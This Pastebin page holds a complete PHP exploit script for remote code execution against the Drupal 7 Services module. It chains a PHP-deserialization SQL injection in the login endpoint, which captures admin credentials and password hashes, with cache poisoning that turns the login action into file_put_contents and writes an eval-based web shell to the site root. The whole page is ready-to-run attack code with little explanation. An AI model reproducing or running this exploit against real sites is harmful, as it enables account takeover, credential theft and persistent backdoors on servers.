Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/php
- <?php
- # Drupal Services Module Remote Code Execution Exploit
- # https://www.ambionics.io/blog/drupal-services-module-rce
- # cf
- #
- # Three stages:
- # 1. Use the SQL Injection to get the contents of the cache for current endpoint
- # along with admin credentials and hash
- # 2. Alter the cache to allow us to write a file and do so
- # 3. Restore the cache
- #
- # Initialization
- error_reporting(E_ALL);
- define('QID', 'anything');
- define('TYPE_PHP', 'application/vnd.php.serialized');
- define('TYPE_JSON', 'application/json');
- define('CONTROLLER', 'user');
- define('ACTION', 'login');
- $url = 'http://vmweb.lan/drupal-7.54';
- $endpoint_path = '/rest_endpoint';
- $endpoint = 'rest_endpoint';
- $file = [
- 'filename' => 'dixuSOspsOUU.php',
- 'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
- ];
- $browser = new Browser($url . $endpoint_path);
- # Stage 1: SQL Injection
- class DatabaseCondition
- {
- protected $conditions = [
- "#conjunction" => "AND"
- ];
- protected $arguments = [];
- protected $changed = false;
- protected $queryPlaceholderIdentifier = null;
- public $stringVersion = null;
- public function __construct($stringVersion=null)
- {
- $this->stringVersion = $stringVersion;
- if(!isset($stringVersion))
- {
- $this->changed = true;
- $this->stringVersion = null;
- }
- }
- }
- class SelectQueryExtender {
- # Contains a DatabaseCondition object instead of a SelectQueryInterface
- # so that $query->compile() exists and (string) $query is controlled by us.
- protected $query = null;
- protected $uniqueIdentifier = QID;
- protected $connection;
- protected $placeholder = 0;
- public function __construct($sql)
- {
- $this->query = new DatabaseCondition($sql);
- }
- }
- $cache_id = "services:$endpoint:resources";
- $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
- $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
- # Take first user but with a custom password
- # Store the original password hash in signature_format, and endpoint cache
- # in signature
- $query =
- "0x3a) UNION SELECT ux.uid AS uid, " .
- "ux.name AS name, '$password_hash' AS pass, " .
- "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
- "ux.pass AS signature_format, ux.created AS created, " .
- "ux.access AS access, ux.login AS login, ux.status AS status, " .
- "ux.timezone AS timezone, ux.language AS language, ux.picture " .
- "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
- "WHERE ux.uid<>(0"
- ;
- $query = new SelectQueryExtender($query);
- $data = ['username' => $query, 'password' => 'ouvreboite'];
- $data = serialize($data);
- $json = $browser->post(TYPE_PHP, $data);
- # If this worked, the rest will as well
- if(!isset($json->user))
- {
- print_r($json);
- e("Failed to login with fake password");
- }
- # Store session and user data
- $session = [
- 'session_name' => $json->session_name,
- 'session_id' => $json->sessid,
- 'token' => $json->token
- ];
- store('session', $session);
- $user = $json->user;
- # Unserialize the cached value
- # Note: Drupal websites admins, this is your opportunity to fight back :)
- $cache = unserialize($user->signature);
- # Reassign fields
- $user->pass = $user->signature_format;
- unset($user->signature);
- unset($user->signature_format);
- store('user', $user);
- if($cache === false)
- {
- e("Unable to obtains endpoint's cache value");
- }
- x("Cache contains " . sizeof($cache) . " entries");
- # Stage 2: Change endpoint's behaviour to write a shell
- class DrupalCacheArray
- {
- # Cache ID
- protected $cid = "services:endpoint_name:resources";
- # Name of the table to fetch data from.
- # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
- protected $bin = 'cache';
- protected $keysToPersist = [];
- protected $storage = [];
- function __construct($storage, $endpoint, $controller, $action) {
- $settings = [
- 'services' => ['resource_api_version' => '1.0']
- ];
- $this->cid = "services:$endpoint:resources";
- # If no endpoint is given, just reset the original values
- if(isset($controller))
- {
- $storage[$controller]['actions'][$action] = [
- 'help' => 'Writes data to a file',
- # Callback function
- 'callback' => 'file_put_contents',
- # This one does not accept "true" as Drupal does,
- # so we just go for a tautology
- 'access callback' => 'is_string',
- 'access arguments' => ['a string'],
- # Arguments given through POST
- 'args' => [
- 0 => [
- 'name' => 'filename',
- 'type' => 'string',
- 'description' => 'Path to the file',
- 'source' => ['data' => 'filename'],
- 'optional' => false,
- ],
- 1 => [
- 'name' => 'data',
- 'type' => 'string',
- 'description' => 'The data to write',
- 'source' => ['data' => 'data'],
- 'optional' => false,
- ],
- ],
- 'file' => [
- 'type' => 'inc',
- 'module' => 'services',
- 'name' => 'resources/user_resource',
- ],
- 'endpoint' => $settings
- ];
- $storage[$controller]['endpoint']['actions'] += [
- $action => [
- 'enabled' => 1,
- 'settings' => $settings
- ]
- ];
- }
- $this->storage = $storage;
- $this->keysToPersist = array_fill_keys(array_keys($storage), true);
- }
- }
- class ThemeRegistry Extends DrupalCacheArray {
- protected $persistable;
- protected $completeRegistry;
- }
- cache_poison($endpoint, $cache);
- # Write the file
- $json = (array) $browser->post(TYPE_JSON, json_encode($file));
- # Stage 3: Restore endpoint's behaviour
- cache_reset($endpoint, $cache);
- if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
- {
- e("Failed to write file.");
- }
- $file_url = $url . '/' . $file['filename'];
- x("File written: $file_url");
- # HTTP Browser
- class Browser
- {
- private $url;
- private $controller = CONTROLLER;
- private $action = ACTION;
- function __construct($url)
- {
- $this->url = $url;
- }
- function post($type, $data)
- {
- $headers = [
- "Accept: " . TYPE_JSON,
- "Content-Type: $type",
- "Content-Length: " . strlen($data)
- ];
- $url = $this->url . '/' . $this->controller . '/' . $this->action;
- $s = curl_init();
- curl_setopt($s, CURLOPT_URL, $url);
- curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
- curl_setopt($s, CURLOPT_POST, 1);
- curl_setopt($s, CURLOPT_POSTFIELDS, $data);
- curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
- $output = curl_exec($s);
- $error = curl_error($s);
- curl_close($s);
- if($error)
- {
- e("cURL: $error");
- }
- return json_decode($output);
- }
- }
- # Cache
- function cache_poison($endpoint, $cache)
- {
- $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
- cache_edit($tr);
- }
- function cache_reset($endpoint, $cache)
- {
- $tr = new ThemeRegistry($cache, $endpoint, null, null);
- cache_edit($tr);
- }
- function cache_edit($tr)
- {
- global $browser;
- $data = serialize([$tr]);
- $json = $browser->post(TYPE_PHP, $data);
- }
- # Utils
- function x($message)
- {
- print("$message\n");
- }
- function e($message)
- {
- x($message);
- exit(1);
- }
- function store($name, $data)
- {
- $filename = "$name.json";
- file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
- x("Stored $name information in $filename");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement